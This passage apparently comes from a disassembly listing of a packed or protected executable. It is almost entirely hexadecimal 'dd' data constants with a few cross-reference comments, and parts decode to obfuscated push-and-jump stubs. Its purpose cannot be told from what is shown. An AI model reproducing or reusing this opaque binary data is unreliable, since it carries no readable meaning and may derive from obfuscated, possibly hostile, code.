0CEBE3277h, 0CCBEC5C6h, 0C8000001h dd 0EC0A763Fh, 0B299566h, 2846B283h, 4B69D59Eh, 0CA89F5C6h dd 6435BA7Eh, 864FDAF8h, 0A770FC1Ah, 0C5961D3Bh, 0DDA85459h dd 0D0170297h, 6F3E515Fh, 4582F8C3h, 0FB04D611h, 0A8836994h dd 30FB6FACh, 0D6111AC2h, 1ADA5B2h, 71FDF5F4h, 971E3CA8h dd 75A2C7C6h, 981D2B9Fh, 72BB7CC7h, 430CC458h, 7F0B294Bh dd 0A52C4AB6h, 1F0C37DCh, 0CDC8C798h, 2F1B6882h, 5AE5DDDCh dd 18E32591h, 0D61196DAh, 6961745h, 342A257Dh, 7944F027h dd 0D611E07Bh, 717AEEFBh, 6B79E3EAh, 0CE9F25ADh, 8981D4CFh dd 8354DCD4h, 0D8A3D517h, 0D611289Ah, 63FAB405h, 0C5BB0954h dd 15DE68B8h, 0EBB9EA1Dh, 9B6CF4ECh, 841A542Fh, 0D24BD611h dd 6407D246h, 0FEDC1488h, 0E96F7DF1h, 88EAC18h, 2AB5C337h dd 0F0EDF64h, 14C9C114h, 0C8C7901Ch, 87C45D0h, 82B19FFh dd 0B0A884E3h, 0AA7B03FBh, 811F86ABh, 2C8D420Dh, 1825DA17h dd 0C0E810C1h, 6B7273D4h, 0BBh, 1B8750D9h, 3AA677FDh, 57C3941Ch dd 7AE6AF39h, 9A06D75Ch, 46CB8FDBh, 60EB0975h, 810D2B97h dd 0A72E4CB8h, 0B9656AD6h, 170D80EEh, 4F6270D0h, 0D49D2432h dd 4A56DFC9h, 6B6ABDC6h, 0C7982070h, 0CFD5CDC8h, 80787748h dd 312928F9h, 86ECB7A9h, 6ED611CDh, 1C0F0E61h, 51C670C9h dd 0FE86D657h, 31102E2Dh, 0C4838934h, 0C7981FC7h, 0F49C575Bh dd 1E975C39h, 0E6000000h, 11455E99h, 6637BED6h, 8C5DE4F2h dd 27307294h, 207D7472h, 0DAEFE7F9h, 0Bh, 455F99DDh, 36BDD611h dd 5116F965h, 53DBE951h, 38888382h, 0E6E1E0B1h, 9D9EEh dd 299F0000h, 0C4C3941Bh, 5606D1C9h, 0D0504CDh, 0BEB6B586h dd 726A6932h, 271F1EE7h, 0DAD2D1A2h, 8D858455h, 433B3A03h dd 0F3EBEABBh, 6F9D9C6Dh, 53E28952h, 0B76176BBh, 72F3812Eh dd 12EB761h, 0EA835BDAh, 24148704h, 3F53685Ch, 34890000h dd 9AA6824h, 0C890000h, 44066824h, 348B0606h, 4C48124h dd 68000000h, 3BCFh, 83242489h, 59042404h, 242C8156h, 28D781Eh dd 8108418Fh, 781E0841h, 34FF028Dh, 0C4815924h, 4, 5324348Bh dd 0C381E389h, 4, 8704C383h, 0E95C241Ch, 0FFFD3445h, 0BBEB421Ah dd 528FEF3Fh, 0B8ED27A8h, 6064963h, 0D18BC503h, 51E9h dd 748B6000h, 76032424h, 247C8B3Ch, 81D68B28h, 0F8C2h dd 4E8B6600h, 0C9B70F06h, 0F00F983h, 1684h, 0C7A3B00h dd 158F0Fh, 0EA830000h, 0C428B28h, 2B144A8Bh, 89F82BC1h dd 611C247Ch, 830008C2h, 0F4928C2h, 0FFFFCF85h, 0FFE9E9FFh dd 3EBAFFFFh, 0EB0009FDh, 20h, 7 dup(0) dd 4FFE900h, 0F3E90000h, 68000004h, 6064BC7h, 0FD33A0E9h dd 4C5868FFh, 96E90606h, 68FFFD33h, 6064E0Eh, 0FD338CE9h dd 4E7068FFh, 82E90606h, 0F4FFFD33h, 1836A26Bh, 3755C192h dd 5472DEAFh, 779501CAh, 0F6B521F2h, 9061E6AAh, 0B27B0624h dd 0D39C2846h, 0F1C24967h, 9D48085h, 0D0170FEBh, 566A7D8Bh dd 49FEFDCEh, 5611452Fh, 901E1B94h, 0DC39EC5Bh, 34D2h dd 5E992100h, 9AD61145h, 3433048Ch, 970E4139h, 38CA9509h dd 32DC178Fh, 0D6CE9F24h, 9BA91D2Ah, 4C47460Fh, 1C053254h dd 0A9000000h, 0E021F3A0h, 524A67CDh, 455F9987h, 1590D611h dd 0BA4C178Bh, 32DC178Fh, 56D6B925h, 49FEFDCEh, 56114520h dd 0AD55525Bh, 9DE85425h, 5F2A9E6Ah, 56115515h, 2A5CD0DDh dd 1155115Fh, 52D7E156h, 81362E81h, 0C5310289h, 9317A83h dd 0ACB8ABDEh, 7C0481B4h, 70CA3D08h, 0BDC65C14h, 519EFE7Fh dd 923E36F6h, 0A7D18685h, 1C501251h, 0D318A6A3h, 5ADA3AF3h dd 76h, 24FC29A9h, 4C1DA2B0h, 305A524Dh, 17887265h, 95E7ECDCh dd 29EE9CD6h, 0C0B05EDh, 97C570C1h, 3BC2D044h, 2CF7E16Dh dd 0D017C2C6h, 0FB4EA1AEh, 19EA718Fh, 0C10C97C2h, 0E6EDEECEh dd 2EBh, 5FCB941Dh, 7EEABB41h, 9B07D860h, 0BE2AF37Dh, 0DE4A1BA0h dd 8A0FD31Fh, 0A42F4DB9h, 0C5516FDBh, 0EB7290FCh, 0FDA9AE1Ah dd 170E3C32h, 93A6B4D0h, 2B647h, 0CE564A00h, 2F49FEFDh dd 0B0D61145h, 0D61145C6h, 11455E97h, 45F701D6h, 0F301D611h dd 0A09B9A6Bh, 4513612Ch, 0D6E3D611h, 45D11BDEh, 6882D611h dd 79961145h, 3500740Ch, 1C173D3Bh, 2432A6B3h, 0D2CDCC9Dh dd 850025DAh, 4FBC87FBh, 0C71A11B0h, 832E63BAh, 989994C3h dd 25A91h, 5C25AE00h, 7B4CD2F0h, 9869F10Fh, 0BB840E2Ch dd 0DBAC314Fh, 0A064B06Fh, 0C0DE4A1Bh, 0E2006C35h, 3218D56h dd 3A3FAB7Ch, 9ADC38Eh, 3745D017h, 0FECF5624h, 0DDA3DAFFh dd 1DDC1B7Dh, 2B9FF2D3h, 1772AA60h, 31FC2ADCh, 0D01602C3h dd 0DF53A6B3h, 7A794AD1h, 2365877Fh, 0C8C08915h, 0E46C3AC2h dd 10A1011Bh, 0D82B976Ch, 73FB1985h, 77EA3A2h, 843A0579h dd 0CDA10BAh, 0ED40307h, 0F649A24Eh, 6945AF8Ah, 7FA6DA1Ch dd 632E18A4h, 0DA1C690Dh, 3285D8E5h, 0A349F3BEh, 3543D01Ah dd 0C7E3E2ABh, 232F6FCh, 1E717EC4h, 0F96D7A26h, 279364EBh dd 0B2B18209h, 23283FDh, 0FF9904C4h, 0F812C08Bh, 1624CE04h dd 0C5C0BF90h, 0A01421CDh, 0B980497h, 837B1DB4h, 0F3C44B59h dd 11E26987h, 88635D12h, 646DCE08h, 8B7893EBh, 410C8092h dd 0CE081833h, 8BBEB6C3h, 47128612h, 0C40ED299h, 0AE9F1419h dd 3F4148ACh, 499C65EFh, 6F40C7D5h, 905EE503h, 3D383708h dd 5FC6EBEAh, 0F0824DC1h, 68C20886h, 5E0FD85Eh, 4A4261DFh dd 7C7776C9h, 7B752A29h, 0C0F234C1h, 9364EAF8h, 35C3C09Bh dd 781C67BEh, 20F17886h, 4CD62621h, 16508B83h, 40000000h dd 0CD2D430Eh, 0B8C5F234h, 5F99F5C0h, 0AED61162h, 7, 5F5F99B1h dd 29F8D611h, 0E5B024FCh, 0DC178F37h, 7EA3A2AFh, 24F57C07h dd 0C54F5DD1h, 0A8DA04FCh, 1091569Fh, 177C2F45h, 6FBAC7D0h dd 2CA0A299h, 172C1361h, 0DED6E3D0h, 1220B41Bh, 0C590BEDAh dd 0DA182BAFh, 90E73A47h, 0D4C3F551h, 0A4C8CFD0h, 64000000h dd 88A612DBh, 0A7C53102h, 0C4E24E1Fh, 0E705713Ah, 66259162h dd 0D1561Ah, 22EB7694h, 430C98B6h, 6132B9D7h, 7944F0F5h dd 0D0170B7Bh, 29DAEDFBh, 7EB024FCh, 1145BDB3h, 0A32B35D6h dd 85D8D3D2h, 0E298638Dh, 62DC178Fh, 0F4315655h, 76EDB82Ch dd 0DA121Bh, 0DE539CF3h, 0E5E6D4C3h, 42DEh, 743DC600h dd 9364EA08h, 0B0810927h, 0D39C2644h, 0F3C44967h, 0B87CC887h dd 0D8F66233h, 0FA18844Dh, 1B39A56Eh, 5257C394h, 0B95DBA6h dd 4F5DD017h, 0D473Ch, 324A0000h, 453F3500h, 0AAB7D611h dd 5693AAB2h, 0D0504CDh, 0BEB6B586h, 726A6932h, 271F1EE7h dd 0DAD2D1A2h, 8D858455h, 433B3A03h, 0F3EBEABBh, 6F9D9C6Dh dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 2668240Ch dd 89000004h, 77682434h, 8900000Ah, 6857243Ch, 0F985D71h dd 83243C8Bh, 0C78104C4h, 0F66DED2Dh, 835FFE89h, 248904ECh dd 24048124h, 4, 8B9515Fh, 1000000h, 0BB53F9h, 1000000h dd 5B3389CBh, 243C8B59h, 81E38953h, 4C3h, 4C38100h, 87000000h dd 8B5C241Ch, 89512434h, 4C181E1h, 83000000h, 0C8704C1h dd 0BEE95C24h, 0B9FFFD2Eh, 0DFA21D3Fh, 0D7B8420Eh, 306064Eh dd 0E9C88BC5h, 0D9h, 0FBE1D20h, 2F82C12Ch, 0BEB6CFDFh dd 365D54FDh, 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h dd 0C1AEC441h, 5277CB50h, 9CACAC32h, 0F691B800h, 82CD64F7h dd 3893h, 3C00h, 4000h db 0 byte_520045 db 94h, 2 dup(0) ; DATA XREF: ___:0042CC88o ; ___:0042CCA0o dd 500h, 100h, 0A2800h, 200h, 20h dup(0) dd 2118F800h, 1F55E94Ah, 0A2680000h, 0E9060652h, 0FFFD2DC1h dd 653D068h, 2DB7E906h, 9E68FFFDh, 0E9060654h, 0FFFD2DADh dd 6555C68h, 2DA3E906h, 2A68FFFDh, 0E9060656h, 0FFFD2D99h dd 656F968h, 2D8FE906h, 0FE68FFFDh, 0E9060657h, 0FFFD2D85h dd 6589968h, 2D7BE906h, 2D68FFFDh, 0E906065Ch, 0FFFD2D71h dd 65C9568h, 2D67E906h, 2668FFFDh, 0E906065Eh, 0FFFD2D5Dh dd 6616468h, 2D53E906h, 9468FFFDh, 0E9060664h, 0FFFD2D49h dd 667B968h, 2D3FE906h, 2568FFFDh, 0E9060669h, 0FFFD2D35h dd 6699C68h, 2D2BE906h, 0FB68FFFDh, 0E9060669h, 0FFFD2D21h dd 66A4E68h, 2D17E906h, 3168FFFDh, 0E906066Bh, 0FFFD2D0Dh dd 66C6E68h, 2D03E906h, 3D68FFFDh, 0E906066Dh, 0FFFD2CF9h dd 0BF2BF47Dh, 0DE4A1BA1h, 0FB6738C0h, 1E8A53DDh, 3EAA7B00h dd 0EA6F337Fh, 48FAD19h, 25B1CF3Bh, 4BD2F05Ch, 5D090E7Ah dd 17145C92h, 0F30614D0h, 0DF32932h, 9B46F702h, 49444314h dd 71F8FEF6h, 961E2CA0h, 0D3CBC6C5h, 68F4021Eh, 1AA1A79Fh dd 6B92DD49h, 2D44636Ch, 7832B1D3h, 11BD056Bh, 8DE0EDD6h dd 0B2014E19h, 2533DC14h, 7D46D2A0h, 5886322Ah, 5393CC4Fh dd 8B989591h, 0D0121D65h, 0AEAD000Dh, 121DFFF9h, 6E7C44D0h dd 221A19E2h, 847CCF98h, 0D51EACA9h, 605A3ABFh, 3Ch, 24FC29AFh dd 68C2E5B0h, 6E9CDC14h, 12664DA3h, 0C51825D0h, 66E711C6h dd 0E35CD012h, 0C09358E6h, 79AB5A3Ah, 126A40AEh, 2B2330D0h dd 0FFF0h, 0E3AEE000h, 0D0126A8Dh, 95605865h, 70BB2932h dd 322EDDBAh, 0EAFDF3BEh, 6875D611h, 12E36A70h, 3D06909Eh dd 13989045h, 0C44B4342h, 0A4A36CF6h, 3B5756A9h, 0EA303E09h dd 0B3C0D611h, 7E90868h, 0E9E16D26h, 2F935CE3h, 53A5FACDh dd 0D0AB176Ah, 0D611D4E5h, 73DFB037h, 0DE782831h, 0F7151077h dd 0A172F9FFh, 78007DA2h, 39C4D204h, 7E767170h, 14E05CBBh dd 5DC9D6DCh, 990DEB12h, 15206BCEh, 7C010BDAh, 595829AEh dd 44B80B5Eh, 74E0B136h, 0A722932h, 0E64A2781h, 9563E8EEh dd 94EB3E0Fh, 0D4C3908Ah, 5F979E9Fh, 0F800001Ch, 1C3AA66Fh dd 3B59C596h, 5876E2B3h, 7B9905CEh, 0FAB925F6h, 9465EAAEh dd 0B67F0A28h, 0D7A02C4Ah, 0F5C64D6Bh, 0DD88489h, 0D01717E7h dd 566E818Fh, 769400D1h, 0AA9C21EFh, 114591DFh, 15461D6h dd 48B40702h, 0A172F806h, 0B5BB86A2h, 3DD61145h, 1AE5DD30h dd 510F2932h, 0DE61A06h, 0DDBBE215h, 0CC1D9E69h, 4855DC14h dd 981F2D49h, 0E20CCFC7h, 30D01282h, 0E4DCDBA4h, 87908F58h dd 0ADD6817Eh, 8AE8B3E5h, 6AD01282h, 8D8A655Dh, 6627B3C1h dd 0FB7140FEh, 302F8217h, 9A513D35h, 915A3A59h, 0C9h, 9D2432E0h dd 0AF281CCh, 21273AA1h, 0CB9C2329h, 7E4FD4CCh, 0ECE3CA7Fh dd 0AA31D611h, 4796D8E1h, 0A4F7D430h, 0C2931A38h, 99679EC3h dd 0A2191C25h, 256B65F6h, 857DD099h, 0F08B905Bh, 9EABDC14h dd 0E5BEE732h, 3C0D9260h, 9FEFEAE9h, 4E494819h, 6CBC87FBh dd 0E8DA153Eh, 0CF5967DBh, 991BB06h, 62B8A580h, 0AD32406Ah dd 0D25A68DCh, 0F070201h, 15A2ABEDh, 74A3029Ah, 0E1666C64h dd 8DA5B910h, 0CDCED4C4h, 1B31C6h, 0D49D2600h, 0F3C44A68h dd 10E16987h, 33FC86A4h, 5324A9C7h, 18DC28E7h, 3856C293h dd 5A78E4ADh, 7B9905CEh, 0B2B723F4h, 16353B06h, 0AFBDD017h dd 0D1569Ch, 27F87E8Ch, 13352D28h, 319D6EF5h, 3500324Eh dd 0D611453Fh, 0ACB2AAB7h, 5D555425h, 0DB19E4D6h, 9BD61145h dd 6ECF3B8Eh, 2FC9341Dh, 6067F0BBh, 5F91DC14h, 12595E94h dd 110916D0h, 0D5285865h, 949CA897h, 4FC35DC8h, 85C34B84h dd 62D6E31Eh, 4E03C759h, 0E0AB994Bh, 1E850692h, 0A025562h dd 2BF53055h, 58E6AEB7h, 2BE43CE9h, 143E0933h, 9C1480D8h dd 830D1B8Fh, 6698C2BAh, 9B0B6934h, 0DEEB1886h, 3D35068Eh dd 73DFB037h, 0A6FDCE55h, 97526D88h, 63BDC4C5h, 0F400001Ah dd 1836A26Bh, 3755C192h, 5472DEAFh, 779501CAh, 0F6B521F2h dd 9061E6AAh, 0B27B0624h, 0D39C2846h, 0F1C24967h, 9D48085h dd 0D01711EBh, 326A7D8Bh, 453F3500h, 0AAB7D611h, 5425ACB2h dd 0A42B3955h, 7DA8DBD3h, 0F7642FA3h, 0F1DC1448h, 8B8A5BE3h dd 0E2EC9890h, 6F8B8A5Bh, 12464EA4h, 0C61926D0h, 6CF1FF73h dd 0A30D509Bh, 0C97AC612h, 414EAFD1h, 1F936D98h, 17C0FB54h dd 0F26673DAh, 938B5CE4h, 18975AADh, 0ADD891C4h, 7B945FD3h dd 0F30FAC51h, 5BC2E7E6h, 547E49BDh, 0DC05AF62h, 0C64D5BCFh dd 0E87381F5h, 2D25201Fh, 9866ED0Bh, 4B46450Eh, 0E479A1F8h dd 0C9CAA878h, 19A5C2h, 6029B200h, 7F50D6F4h, 9C6DF513h dd 0BF881230h, 0DFB03553h, 0A468B473h, 0C4E24E1Fh, 0E6047039h dd 725915Ah, 3E43AF80h, 10A9C792h, 3B49D017h, 35003228h dd 0D611453Fh, 5728ADB7h, 960A5D58h, 1145A5CBh, 48404DD6h dd 0EBEABB42h, 4DC15FC6h, 144FC982h, 0E85461DCh, 25601787h dd 331CE75Bh, 3BDA176Ah, 3B44FE2Eh, 8F08AB09h, 0C1847C79h dd 7EBFEE05h, 0AD7E0513h, 7D1B82B5h, 83153E09h, 909D74BAh dd 0DC677591h, 21191413h, 61ECB7EEh, 9FD14598h, 0A0889ED4h dd 51495678h, 0B3325C27h, 0A3C72A5h, 0A443313Fh, 0FE06762h dd 151F1510h, 0C7C2C18Ah, 0C3D07C74h, 0E9BA414Fh, 0AD85F7Dh dd 0B62B57Eh, 7D6F95D9h, 0D7363D3Eh, 80000018h, 0A4C22EF7h dd 0C3E14D1Eh, 0E0FE6A3Bh, 3218D56h, 8241AD7Eh, 1CED7236h dd 3E0792B0h, 5F28B4D2h, 7D4ED5F3h, 95600C11h, 0D017135Fh dd 56F60917h, 0DAFFFECFh, 5361D5A3h, 0DE0800C9h, 0DCDA3ACh dd 549FFFDCh, 0F96995Ch, 2052DC14h, 0B1BE8712h, 0D012CE43h dd 822E2633h, 0F2A80975h, 80F48CF9h, 17EB5AB5h, 97C7D4DAh dd 7C45CFDDh, 5DADC184h, 7BA2DF55h, 0C5F7299Dh, 5819F4FAh dd 776F7CDFh, 5D149BB4h, 0C68C95D5h, 0DE08D50Ah, 5E6B170Fh dd 35C33A5Fh, 8F2CB8C1h, 862A83E3h, 7F99648Eh, 79D358DAh dd 0E0A05370h, 4102731Dh, 0DB744E75h, 8B1060B3h, 0C8C0BBBAh dd 8D9B0F1Ch, 0ABC93506h, 0C0FC5324h, 39DE0A25h, 18083138h dd 0C64F0000h, 0ED7391FDh, 0A92B01Ch, 25AFCD39h, 4DD2F05Ch dd 551107Ch, 7FEBBC41h, 0A10DD661h, 0C22EF783h, 0E04C1DA4h dd 0E642FDBh, 0E6D01713h, 0CF56C5D8h, 0A3DAFFFEh, 0F99661D5h dd 79DC146Ah, 9296424Bh, 1FF27881h, 127DDC12h, 9B6694D0h dd 0D0127D55h, 6ABD101Dh, 6FADEDF6h, 0EEBAB883h, 2D3AD012h dd 0BBE354E2h, 4F40A1C3h, 12891F86h, 0C6971C44h, 0E081CCC7h dd 145CA711h, 474D0325h, 5B8D0154h, 0C62CF729h, 0AED0124Bh dd 4B5E94A1h, 916D012h, 4BA4CA95h, 3F4CD012h, 6E8B8447h dd 96A3DA17h, 199EAC66h, 34E4948h, 69BA06EFh, 0E3A69E10h dd 65DC8648h, 2296629Bh, 0DBFA3C57h, 0AAA9B643h, 0F9831885h dd 0E3D62C38h, 0EB3E78DBh, 0A069F4ECh, 0BB86FA4Dh, 79C6FF91h dd 71681419h, 8ED9AA32h, 176A55ADh, 3D0E95A3h, 5E2CB3D1h dd 0D11FEAD4h, 0A17DC4DDh, 97EE4194h, 74902951h, 3D6DDDEh dd 54000017h, 789602CBh, 97B521F2h, 0B4D23E0Fh, 0D7F5612Ah dd 56158152h, 0F0C1460Ah, 12DB6684h, 33FC88A6h, 5122A9C7h dd 6934E0E5h, 0D017120Bh, 56CADDEBh, 0DC12DDCFh, 94D61145h dd 10353487h, 65970B95h, 450A6833h, 0DDEAD611h, 940022E5h dd 4B58DC17h, 42DECED7h, 844A8561h, 0CD54628Ch, 4FB590FCh dd 40D017D4h, 0B6D440C8h, 0DCEA5E2Fh, 6B8D8556h, 0A71BE520h dd 11065ADCh, 910512DAh, 0B82CFD83h, 545324AAh, 213F6159h dd 0D3CBCA9Bh, 0D4247B4Ch, 75D4C772h, 16686D74h, 66EF0000h dd 8D13319Dh, 0AA3250BCh, 0C54F6DD9h, 0ED7290FCh, 0A5F1B01Ch dd 1F8B5CE1h, 41AD7601h, 62CE9723h, 80ECBD44h, 0EE04CF7Bh dd 86D0171Dh, 0FC296578h, 43E5B024h, 1BDC1794h, 58C9A0Eh dd 8FE2AB37h, 0D8A0D823h, 152F9964h, 1A27D017h, 150D661Bh dd 39B2D017h, 0B725AE3Ch, 60F05A3Fh, 3F000000h, 9F152932h dd 0ED41EE1Ch, 0EB040075h, 655DB04Dh, 0BE32C632h, 114881F3h dd 6D6C79D6h, 1148BEB8h, 2D3B03D6h, 0DDD8D7A8h, 7F0D0AE5h dd 5C39EA74h, 2ABFh, 5E990E00h, 91D61145h, 0E6188C14h dd 1145D51Bh, 98909DD6h, 5E28A36Eh, 3542DC14h, 0AEC48FC1h dd 46D0125Ch, 94E7B03Ch, 29977A9Ch, 0E5B024FCh, 0DC144F16h dd 0A8C4C3D0h, 0B42049Fh, 5E561953h, 14DFD158h, 0D01287DEh dd 0CA368996h, 21F27A88h, 0D2A32A22h, 8D85D8D3h, 302F0087h dd 0C70D0B14h, 0E4612F0Ch, 9061E6ECh, 0DEF9131Ch, 1F6A3BC3h dd 0A8A073B9h, 0BBB813F3h, 4FBB8C13h, 50DCAA31h, 3A8D8887h dd 11EF163Bh, 305DD29Dh, 815DA17h, 26F77E9Ch, 4E1FA4B2h dd 0A75C544Fh, 41969BF2h, 0F9F65142h, 85F9CA51h, 261EEF77h dd 915FE604h, 3F3A390Ah, 6BF5EDECh, 52511AA5h, 0D050457h dd 6831BC82h, 0BE231615h, 0DBCEA95Eh, 14E56DBDh, 1B18F715h dd 0BECCFA70h, 97726A33h, 9A6BF29Ah, 0B889102Eh, 8F6994B9h dd 0B4850D1Bh, 7B46BAB5h, 522CC575h, 0CEF8F0FDh, 42038E9Ch dd 0FBD95E4Eh, 0FF5219h, 6D4A0D05h, 55829A3h, 0E76E8CF8h dd 0C1C09119h, 1FF076C6h, 0D3D22520h, 2065AEB7h, 7D578A6Ah dd 2BF47F85h, 0E0A9342Ch, 955EE9E1h, 0EFEEBF45h, 0DA858241h dd 0A24A47A2h, 0C0DE4A1Bh, 0E6F46839h, 48A6715Bh, 285C513Fh dd 0CEC9C81Bh, 81FC21D6h, 53B883F7h, 0D3565418h, 0B53C5AC6h dd 0DD6270E4h, 0AA5F140Ch, 7652DD40h, 0FB7B4BDh, 662FBA88h dd 0FD89A713h, 0B83D3534h, 1CF41EEFh, 0CCC7C697h, 0DC263D81h dd 0B928A89h, 0BD433B3Ah, 6D1EDECh, 7652B5E8h, 111A7B88h dd 777D4814h, 0FF7652B5h, 0DA999FF2h, 0E0A935DDh, 1CA5674h dd 0B7800A02h, 807DD8B8h, 5BA3ABB4h, 0E04AE7AEh, 3E3D0690h dd 0B9454B43h, 0DA6684F0h, 0B0ED1211h, 0D2A974E8h, 947C57CEh dd 8B6A8887h, 2CB4C28Eh, 0D15D635Bh, 0A9879A10h, 5924BD46h dd 70575A1Bh, 77BCEDBh, 575A363Ch, 5EB1BE70h, 5B4DD4F2h dd 575A6290h, 0B2051270h, 6634BBB3h, 0BDBC0FE0h, 6F6E3FC5h dd 2423EC77h, 19C4C16Ch, 0AF575413h, 0DAE35728h, 0AB1CE333h dd 86A8A0EDh, 0E0B13644h, 54F7FCE8h, 333EFA7Fh, 8D000000h dd 201CA56h, 64D8A0DDh, 1458FE99h, 96C8FADCh, 1256A5CBh dd 33404DD0h, 0D012563Dh, 4B0A8B5h, 0EF7583F7h, 0CCCB9C21h dd 64867ED1h, 1C37h, 0CA563A00h, 0A0DD0201h, 0CE9964D8h dd 88DC1472h, 9BCD0F7Bh, 1268A2D0h, 4D4552D0h, 0D37C1382h dd 8CE2ADAAh, 64D61145h, 5E900457h, 0B003C450h, 0C0155F51h dd 0E6A9A1F4h, 0DC14EA6Dh, 75C8F805h, 0CCC7FA7Fh, 0F76B3570h dd 0A2F5E32Ch, 7F7E8B26h, 0A1695A63h, 95E392E6h, 68336A9Dh dd 4BBF12E3h, 0AD575680h, 5DD1DEDCh, 83F7C84Fh, 46BC497Ah dd 453D1FCAh, 0B57E0523h, 3CC084B1h, 0EBA8E32Fh, 1247F7B7h dd 0BB156CBFh, 70CF7714h, 12D4686Fh, 0FA830000h, 21A7C531h dd 3EC6E450h, 59E3016Dh, 81062490h, 398544B0h, 0B31FF075h dd 0D5410A95h, 0F6622BB7h, 148051D8h, 5A98630Fh, 1AD01719h dd 5B99F90Ch, 9DD61146h, 41390A8Fh, 9509970Eh, 1471B1CAh dd 0B82C39DCh, 0E1551EAAh, 837B4CD3h, 0F1B74361h, 4D16A167h dd 0B0A8A7FAh, 9D015829h, 66CEBDBCh, 126C5E65h, 62EB0000h dd 890F2D99h, 0A62E4CB8h, 0C14B69D5h, 0E96E8CF8h, 0A1EDAC18h dd 1B8758DDh, 3DA972FDh, 5ECA931Fh, 7CE8B940h, 0F200CB77h dd 82D01719h, 0FC296174h, 0D2D1A227h, 828152DAh, 6DE13487h dd 807D85Fh, 20EB150Dh, 0DC1470C7h, 0E828Fh, 8804B17Ah dd 9CF7950Bh, 39BFDD49h, 0EA716968h, 1DFC1A19h, 57225420h dd 0D0123219h, 0BA0BED84h, 291F8FE8h, 981E241Ch, 0EB4A53C7h dd 30522462h, 955EE939h, 8A1A7B9Dh, 0A0D058D1h, 3FB3840Ah dd 9F2C420Dh, 0DE6AD012h, 1A121F15h, 9F47B065h, 49D5D012h dd 1898180h, 0CE793130h, 5F2226D1h, 6334BA62h, 7A83B5F7h dd 0AED66F39h, 668C990Eh, 0B9D0129Dh, 6C13C3FCh, 303D33CAh dd 547AC5E5h, 4F47CAC0h, 0F3F2C349h, 0DDA857CEh, 0D012D197h dd 0D1D816E1h, 8B98D012h, 0C1358895h, 2A49868Fh, 787F8F46h dd 1857BD80h, 0D2DFDA14h, 0FBC9505Eh, 88A4A374h, 1899B7BDh dd 0DF323FDAh, 840A188Ch, 7B99BBB3h, 82423F4h, 0A2A172FAh dd 45720AAh, 0D4ACD90Ch, 31FC2E60h, 0DA1899C3h, 0B85BA6B3h dd 4C2897BBh, 9D64271Fh, 0DBD01E6Ah, 0AE8761D2h, 41398C3Eh dd 0B148895h, 0D927BC68h, 0AED8D06Bh, 0DC4819A0h, 0E46937BEh dd 0C6191413h, 0AE79ABC7h, 0C401E640h, 7E7D4ED6h, 0FB838D83h dd 0ACDFD72Ah, 5223AA71h, 66C3753h, 0EEC401E6h, 0C73B8EE1h dd 4ED63FCh, 87DEEBCEh, 0E0CE3E19h, 0DBEEF5F6h, 7C000010h dd 0A0BE2AF3h, 0BFDD491Ah, 0DCFA6637h, 0FF1D8952h, 7E3DA97Ah dd 18E96E32h, 3A038EACh, 5B24B0CEh, 794AD1EFh, 915C080Dh dd 0D0171B63h, 32F20513h, 453F3500h, 8062D611h, 0B0398F81h dd 5FD0A00h, 115F5542h, 1EE773D6h, 653E67B2h, 181312DBh dd 0E38651C5h, 83DC178Eh, 0D124ED79h, 0F6C74F5Dh, 2432A78Ah dd 0E8D4CC9Dh, 5CB9FFE3h, 0D7A82D3Bh, 0AAE5DDD8h, 16Fh dd 0AC2F919Ah, 539E67F1h, 0C3378EF0h, 911DFAF8h, 756D7AD6h dd 26F229AAh, 0C673211h, 0EAD61145h, 5F32C0D5h, 29148181h dd 0A3152AF6h, 28F029EEh, 701B7613h, 4139FF6Bh, 511AA5B3h dd 471E59h, 296D0000h, 0A8B62AF6h, 8E595122h, 0CF982432h dd 89E2ADD7h, 61D61145h, 47D2E054h, 32BB867Eh, 453F3500h dd 89B7D611h, 1145B0BEh, 0E03340D6h, 56EBBEE8h, 14E8FDCEh dd 0D321EC1Eh, 0A3D61145h, 47D39E96h, 4Fh, 2AF6294Ah, 0BBB984B6h dd 0E1D61145h, 908B8A5Bh, 0CA958D9Ah, 450C6732h, 0D5EAD611h dd 0FACB5361h, 3D0800FBh, 3CE0032h, 0D61145EDh, 45363C07h dd 0B1BED611h, 0EAE6B6BBh, 98E09129h, 32824D45h, 453F3500h dd 0AAB7D611h, 5324ACB2h, 707D143Eh, 4139FF6Bh, 47A2h dd 32F100h, 11453F35h, 5AAAB7D6h, 0DB0E06CFh, 32C5DAAEh dd 11450C67h, 56DCE6D6h, 3B8B8685h, 0EAE5E4B5h, 5F328297h dd 0EAFFD056h, 0CC9D2432h, 92DAD2CDh, 3A038E9Ch, 45F5FBC6h dd 707DD611h, 3847AD78h, 4A000000h, 0B428F029h, 45B9B782h dd 3439D611h, 9363EB54h, 2B23768Bh, 0C673260h, 0EAD61145h dd 4EDBC4DDh, 0FDF8F7C8h, 0BC4EBBB2h, 5F325469h, 0D0992432h dd 7B4CD2D8h, 327D1466h, 0D9D19A24h, 0FFFE81C4h, 0D25A68FFh dd 293E0901h, 0E5B024FCh, 0DC179443h, 8C9A0E1Bh, 7DC83405h dd 0FB097D0Dh, 80AAA273h, 0EBB4404Eh, 15C230F3h, 0A5B2D017h dd 1481F1A6h, 901BD017h, 4BD0C8C7h, 69727B7Ah, 1F98C16Ch dd 0C3485622h dd 0F8F3F2h, 3FB6DF14h, 65565Ah, 99A50000h, 0D611455Fh dd 0E26836BDh, 0C4171211h, 0EABB4250h, 4545AB76h, 202DD611h dd 0C02B0628h, 2CD61145h, 0CEC6971Eh, 2296629Bh, 0C0BF8814h dd 71A3CDC5h, 2D412668h, 0F1E9A5E2h, 1447952Eh, 0CC515FDCh dd 4A5703FBh, 0B237CDD6h, 44764306h, 0B6E82A4Ch, 123985EBh dd 10606DD0h, 0BFBAB98Ah, 0D7B2C7h, 29B50000h, 0DCF52CFCh dd 8E708902h, 63FCC73Bh, 0EBDC1473h, 0D05C6ADEh, 27599B07h dd 127A165Ch, 5F9560D0h, 17D0127Ah, 0F07140Ah, 0B5B47D09h dd 178B1590h, 14ABFE4Ch, 0F56976DAh, 8F8E5FE7h, 64729C94h dd 85A30FD8h, 2E440FF9h, 0C6DA18CBh, 0E9F266B9h, 0EE6FF9E0h dd 0BC716908h, 3E0792A0h, 0EEA1346h, 35068C9Ah, 8D48133Dh dd 29D01E4Dh, 139AA81Ch, 0A1ECBD45h, 0A489B69Ah, 0A4106332h dd 0F653062h, 0E7C401FCh, 0FC80EEB9h, 6370C401h, 0A3D19C10h dd 53C401FCh, 0C1484E46h, 4A2199F0h, 1112DACBh, 0D9D0Ah dd 